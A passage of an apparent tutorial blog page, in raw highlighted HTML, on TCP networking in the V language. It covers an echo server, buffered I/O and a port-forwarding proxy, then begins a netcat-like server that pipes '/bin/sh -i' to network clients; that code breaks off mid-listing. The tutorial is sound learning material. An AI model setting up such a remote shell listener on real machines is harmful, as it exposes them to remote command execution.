</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">bufLen</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">reader</span>.<span style="color:#a6e22e">read</span>(<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">buf</span>) {
</span></span><span style="display:flex;"><span>		println(<span style="color:#e6db74">&#34;Read ${bufLen} bytes from stdin.&#34;</span>)
</span></span><span style="display:flex;"><span>	} <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">fatal</span>(<span style="color:#e6db74">&#34;Unable to read data.&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">bufLen</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">writer</span>.<span style="color:#a6e22e">write</span>(<span style="color:#a6e22e">buf</span>) {
</span></span><span style="display:flex;"><span>		println(<span style="color:#e6db74">&#34;Wrote ${bufLen} bytes to stdout.&#34;</span>)
</span></span><span style="display:flex;"><span>	} <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">fatal</span>(<span style="color:#e6db74">&#34;Unable to write data.&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The following is output of the program for input <code>hello\n</code></p>
<p><img src="./basic-io-wrapper.png" alt="basic-io-wrapper"></p>
<p>As copying data from Reader to Writer is a fairly common pattern, thus languages like Go and V provide a copy functionality - <a href="https://modules.vlang.io/io.html#cp"><code>cp</code></a> function can be used in V for this.</p>
<blockquote>
<p><code>cp</code> copies from <code>src</code> to <code>dst</code> by allocating a maximum of 1024 bytes buffer for reading until either EOF is reached on <code>src</code> or an error occurs. An error is returned if an error is encountered during write.</p>
</blockquote>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">cp</span>(<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">src</span> <span style="color:#a6e22e">Reader</span>, <span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">dst</span> <span style="color:#a6e22e">Writer</span>, <span style="color:#a6e22e">params</span> <span style="color:#a6e22e">CopySettings</span>) !
</span></span></code></pre></div><p>The <code>main()</code> function can be re-written as:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">module</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">io</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">os</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">log</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> <span style="color:#a6e22e">ExampleReader</span> {}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> (<span style="color:#a6e22e">r</span> <span style="color:#a6e22e">ExampleReader</span>) <span style="color:#a6e22e">read</span>(<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">buf</span> []<span style="color:#a6e22e">u8</span>) !<span style="color:#66d9ef">int</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">eprint</span>(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">in</span>&gt; <span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">stdin</span>().<span style="color:#a6e22e">read</span>(<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">buf</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> <span style="color:#a6e22e">ExampleWriter</span> {}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> (<span style="color:#a6e22e">w</span> <span style="color:#a6e22e">ExampleWriter</span>) <span style="color:#a6e22e">write</span>(<span style="color:#a6e22e">buf</span> []<span style="color:#a6e22e">u8</span>) !<span style="color:#66d9ef">int</span> {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">eprint</span>(<span style="color:#960050;background-color:#1e0010">&#39;</span><span style="color:#a6e22e">out</span>&gt; <span style="color:#960050;background-color:#1e0010">&#39;</span>)
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">stdout_handle</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">stdout</span>()
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">return</span> <span style="color:#a6e22e">stdout_handle</span>.<span style="color:#a6e22e">write</span>(<span style="color:#a6e22e">buf</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">reader</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">ExampleReader</span>{}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">writer</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">ExampleWriter</span>{}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">io</span>.<span style="color:#a6e22e">cp</span>(<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">reader</span>, <span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">writer</span>) <span style="color:#a6e22e">or</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">fatal</span>(<span style="color:#e6db74">&#34;Unable to read/write data.&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p><img src="./basic-io-wrapper-2.png" alt="basic-io-wrapper-2"></p>
<h3 id="creating-an-echo-server">Creating an Echo Server</h3>
<p>V provides with <a href="https://modules.vlang.io/net.html#TcpConn"><code>TcpConn</code></a> struct which implements the <code>read()</code> and <code>write()</code> functions similar to those discussed above.</p>
<p>The function <a href="https://modules.vlang.io/net.html#listen_tcp"><code>listen_tcp()</code></a> allows to listen for connections and returns an <a href="https://modules.vlang.io/net.html#TcpListener"><code>TcpListener</code></a> object which exposes <a href="https://modules.vlang.io/net.html#TcpListener.accept"><code>accept()</code></a> function to accept connections represented as <code>TcpConn</code> object.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">module</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">net</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">log</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// process a connection from client</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">echo</span>(<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">conn</span> <span style="color:#a6e22e">net</span>.<span style="color:#a6e22e">TcpConn</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// at the end of it all, please close the connection</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">defer</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">conn</span>.close() <span style="color:#a6e22e">or</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">fatal</span>(<span style="color:#e6db74">&#34;Unable to close connection.&#34;</span>)
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// buffer to store messages</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">buf</span> <span style="color:#f92672">:=</span> []<span style="color:#a6e22e">u8</span>{<span style="color:#a6e22e">len</span>: <span style="color:#ae81ff">512</span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#75715e">// read from client</span>
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">n</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">conn</span>.<span style="color:#a6e22e">read</span>(<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">buf</span>) <span style="color:#a6e22e">or</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">fatal</span>(<span style="color:#e6db74">&#34;Unable to read from connection.&#34;</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#75715e">// validate client did not disconnect</span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">if</span> <span style="color:#a6e22e">n</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">info</span>(<span style="color:#e6db74">&#34;Client disconnected.&#34;</span>)
</span></span><span style="display:flex;"><span>			<span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#75715e">// create a slice from buffer space upto the data transferred</span>
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">data</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">buf</span>[..<span style="color:#a6e22e">n</span>].<span style="color:#a6e22e">clone</span>()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">info</span>(<span style="color:#e6db74">&#34;Received ${n} bytes: ${data}&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#75715e">// return the data back to the client</span>
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">info</span>(<span style="color:#e6db74">&#34;Writing back...&#34;</span>)
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">conn</span>.<span style="color:#a6e22e">write</span>(<span style="color:#a6e22e">data</span>) <span style="color:#a6e22e">or</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">fatal</span>(<span style="color:#e6db74">&#34;Unable to write to connection.&#34;</span>)
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// tell log.info() to print on `stdout` rather than `stderr`</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">use_stdout</span>()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// port to listen on</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">port</span> <span style="color:#f92672">:=</span> <span style="color:#ae81ff">20080</span>
</span></span><span style="display:flex;"><span>	
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// create a listener</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">listener</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">net</span>.<span style="color:#a6e22e">listen_tcp</span>(<span style="color:#a6e22e">net</span>.<span style="color:#a6e22e">AddrFamily</span>.<span style="color:#a6e22e">ip</span>, <span style="color:#e6db74">&#34;:${port}&#34;</span>) <span style="color:#a6e22e">or</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">fatal</span>(<span style="color:#e6db74">&#34;Failed to start a TCP listener on port: ${port}.&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">info</span>(<span style="color:#e6db74">&#34;Opened a TCP listener on port: ${port}.&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// infinite loop to listen and accept connections</span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">conn</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">listener</span>.<span style="color:#a6e22e">accept</span>() <span style="color:#a6e22e">or</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">fatal</span>(<span style="color:#e6db74">&#34;Unable to accept connections.&#34;</span>)
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#75715e">// handle each connection in separate thread</span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">go</span> <span style="color:#a6e22e">echo</span>(<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">conn</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Interacting with the echo server using <code>telnet</code> or <code>nc</code> demonstrates that the server stands up to its name.</p>
<p><img src="./echo-server.png" alt="echo-server"></p>
<p>While <code>TcpConn.read()</code> and <code>TcpConn.write()</code> provide read/write capabilities on the socket, they require manual buffer tracking and low-level calls on the connection object. This can be futher improved using a buffered I/O mechanism by levaraging the <a href="https://modules.vlang.io/io.html#BufferedReader"><code>BufferedReader</code></a> and <a href="https://modules.vlang.io/io.html#BufferedWriter"><code>BufferedWriter</code></a> structs from <code>io</code> module.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">module</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">io</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">net</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">log</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">echo</span>(<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">conn</span> <span style="color:#a6e22e">net</span>.<span style="color:#a6e22e">TcpConn</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">defer</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">conn</span>.close() <span style="color:#a6e22e">or</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">fatal</span>(<span style="color:#e6db74">&#34;Unable to close connection.&#34;</span>)
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// create a buffered reader</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">reader</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">io</span>.<span style="color:#a6e22e">new_buffered_reader</span>(<span style="color:#a6e22e">io</span>.<span style="color:#a6e22e">BufferedReaderConfig</span>{<span style="color:#a6e22e">reader</span>: <span style="color:#a6e22e">conn</span>})
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// create a buffered writer</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">writer</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">io</span>.<span style="color:#a6e22e">new_buffered_writer</span>(<span style="color:#a6e22e">io</span>.<span style="color:#a6e22e">BufferedWriterConfig</span>{<span style="color:#a6e22e">writer</span>: <span style="color:#a6e22e">conn</span>}) <span style="color:#a6e22e">or</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">fatal</span>(<span style="color:#e6db74">&#34;Failed to create buffered writer.&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// read line with delimiter at new-line.</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">s</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">reader</span>.<span style="color:#a6e22e">read_line</span>(<span style="color:#a6e22e">io</span>.<span style="color:#a6e22e">BufferedReadLineConfig</span>{<span style="color:#a6e22e">delim</span>: <span style="color:#e6db74">`\n`</span>}) <span style="color:#a6e22e">or</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">fatal</span>(<span style="color:#e6db74">&#34;Unable to read data.&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">info</span>(<span style="color:#e6db74">&#34;Received ${s.len} bytes: ${s}&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">info</span>(<span style="color:#e6db74">&#34;Writing data&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// echo back the data using buffere writer (as per documentatio: write writes src in the buffer, flushing it to the underlying writer as needed, and returns the number of bytes written.)</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">writer</span>.<span style="color:#a6e22e">write</span>(<span style="color:#a6e22e">s</span>.<span style="color:#a6e22e">bytes</span>()) <span style="color:#a6e22e">or</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">fatal</span>(<span style="color:#e6db74">&#34;Unable to write data.&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p><img src="./echo-server-buffered.png" alt="echo-server-buffered"></p>
<p>This can also be achived using <code>io.cp()</code> as it manages buffer and copies for reader to writer i.e. echoes.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">echo</span>(<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">conn</span> <span style="color:#a6e22e">net</span>.<span style="color:#a6e22e">TcpConn</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">defer</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">conn</span>.close() <span style="color:#a6e22e">or</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">fatal</span>(<span style="color:#e6db74">&#34;Unable to close connection.&#34;</span>)
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">io</span>.<span style="color:#a6e22e">cp</span>(<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">conn</span>, <span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">conn</span>) <span style="color:#a6e22e">or</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">fatal</span>(<span style="color:#e6db74">&#34;Unable to read/write data.&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p><img src="echo-cp.png" alt="echo-cp"></p>
<h3 id="proxying-a-tcp-client">Proxying a TCP Client</h3>
<p>For this scenario, I configured a linux VM on a shared network interface. Such that the network is as follows:</p>
<ul>
<li>Host Machine: 192.168.1.5 on wlan0</li>
<li>Virtual Machine: 192.168.1.7 on eth0</li>
</ul>
<p>The host machine serves a website on 127.0.0.1:8000</p>
<p><img src="./host-ip-and-server.png" alt="host-ip-and-server"></p>
<p><img src="./vm-ip.png" alt="vm-ip"></p>
<p>Being hosted on loopback interface of the host, this website is not directly accessible to the virtual machine. A port-forward proxy transfer packets from wlan0 host machine to loopback can be of aid in this situation.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">module</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">io</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">net</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">log</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">handle</span>(<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">src</span> <span style="color:#a6e22e">net</span>.<span style="color:#a6e22e">TcpConn</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">dst</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">net</span>.<span style="color:#a6e22e">dial_tcp</span>(<span style="color:#e6db74">&#34;127.0.0.1:8000&#34;</span>) <span style="color:#a6e22e">or</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">fatal</span>(<span style="color:#e6db74">&#34;Unable to connect to 127.0.0.1:8000&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">defer</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">dst</span>.close() <span style="color:#a6e22e">or</span> {
</span></span><span style="display:flex;"><span>			
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">go</span> <span style="color:#a6e22e">fn</span> [<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">src</span>, <span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">dst</span>] () {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">io</span>.<span style="color:#a6e22e">cp</span>(<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">src</span>, <span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">dst</span>) <span style="color:#a6e22e">or</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">fatal</span>(<span style="color:#e6db74">&#34;Unable to write to 127.0.0.1:8000&#34;</span>)
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>	}()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">io</span>.<span style="color:#a6e22e">cp</span>(<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">dst</span>, <span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">src</span>) <span style="color:#a6e22e">or</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">fatal</span>(<span style="color:#e6db74">&#34;Unable to write to 192.168.1.5:8080&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">listener</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">net</span>.<span style="color:#a6e22e">listen_tcp</span>(<span style="color:#a6e22e">net</span>.<span style="color:#a6e22e">AddrFamily</span>.<span style="color:#a6e22e">ip</span>, <span style="color:#e6db74">&#34;192.168.1.5:8080&#34;</span>) <span style="color:#a6e22e">or</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">fatal</span>(<span style="color:#e6db74">&#34;Failed to start a TCP server on port 192.168.1.5:8080.&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>	
</span></span><span style="display:flex;"><span>	<span style="color:#66d9ef">for</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">conn</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">listener</span>.<span style="color:#a6e22e">accept</span>() <span style="color:#a6e22e">or</span> {
</span></span><span style="display:flex;"><span>			<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">fatal</span>(<span style="color:#e6db74">&#34;Unable to accept connections.&#34;</span>)
</span></span><span style="display:flex;"><span>		}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#66d9ef">go</span> <span style="color:#a6e22e">handle</span>(<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">conn</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Running it opens up port 8080 (http-alt) on 192.168.1.5</p>
<p><img src="./http-alt-open.png" alt="http-alt-open"></p>
<p>A <code>curl</code> from within the virtual machine demonstrates how the request is proxied to 127.0.0.1:8000.</p>
<p><img src="./proxied-req.png" alt="proxied-req"></p>
<h3 id="replicating-netcat-for-command-execution">Replicating Netcat for Command Execution</h3>
<p>The <a href="https://modules.vlang.io/os.html#Process"><code>os.Process</code></a> struct can be used to execute processes. In following code, I launch an instance of <code>/bin/sh</code>. Through an infinite <code>for</code> loop, I process the input and return the output back to the client using buffered reader and writer (discussed above).</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#a6e22e">module</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">os</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">io</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">net</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> <span style="color:#a6e22e">log</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fn</span> <span style="color:#a6e22e">handle</span>(<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">conn</span> <span style="color:#a6e22e">net</span>.<span style="color:#a6e22e">TcpConn</span>) {
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// Create buffered streams from the connection</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">reader</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">io</span>.<span style="color:#a6e22e">new_buffered_reader</span>(<span style="color:#a6e22e">io</span>.<span style="color:#a6e22e">BufferedReaderConfig</span>{<span style="color:#a6e22e">reader</span>: <span style="color:#a6e22e">conn</span>})
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">writer</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">io</span>.<span style="color:#a6e22e">new_buffered_writer</span>(<span style="color:#a6e22e">io</span>.<span style="color:#a6e22e">BufferedWriterConfig</span>{<span style="color:#a6e22e">writer</span>: <span style="color:#a6e22e">conn</span>}) <span style="color:#a6e22e">or</span> {
</span></span><span style="display:flex;"><span>		<span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">fatal</span>(<span style="color:#e6db74">&#34;Failed to create buffered writer.&#34;</span>)
</span></span><span style="display:flex;"><span>	}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>	<span style="color:#75715e">// Create a new &#39;/bin/sh -i&#39; process</span>
</span></span><span style="display:flex;"><span>	<span style="color:#a6e22e">mut</span> <span style="color:#a6e22e">proc</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">os</span>.<span style="color:#a6e22e">Process</span>{
